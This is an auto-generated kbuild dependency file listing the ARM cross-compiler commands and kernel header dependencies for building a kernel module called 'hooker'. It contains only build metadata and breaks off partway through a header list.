-D"KBUILD_MODNAME=KBUILD_STR(hooker)" -DMODULE -c -o /root/hooking/dhooker/hooker.mod.o /root/hooking/dhooker/hooker.mod.c
source_/root/hooking/dhooker/hooker.mod.o := /root/hooking/dhooker/hooker.mod.c
deps_/root/hooking/dhooker/hooker.mod.o := \
$(wildcard include/config/module/unload.h) \
include/linux/module.h \
$(wildcard include/config/modules.h) \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/unused/symbols.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/smp.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
$(wildcard include/config/64bit.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/kernel.h \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modversions.h) \
arch/arm/include/asm/linkage.h \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/vermagic.h \
include/generated/utsrelease.h \
/root/hooking/dhooker/hooker.mod.o: $(deps_/root/hooking/dhooker/hooker.mod.o)
$(deps_/root/hooking/dhooker/hooker.mod.o):
cmd_/root/hooking/dhooker/hooker.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -DMODULE -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker)" -D"KBUILD_MODNAME=KBUILD_STR(hooker)" -c -o /root/hooking/dhooker/.tmp_hooker.o /root/hooking/dhooker/hooker.c
source_/root/hooking/dhooker/hooker.o := /root/hooking/dhooker/hooker.c
deps_/root/hooking/dhooker/hooker.o := \
include/linux/kernel.h \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
$(wildcard include/config/64bit.h) \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modules.h) \
$(wildcard include/config/modversions.h) \
$(wildcard include/config/unused/symbols.h) \
arch/arm/include/asm/linkage.h \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
$(wildcard include/config/smp.h) \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/module.h \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/module/unload.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
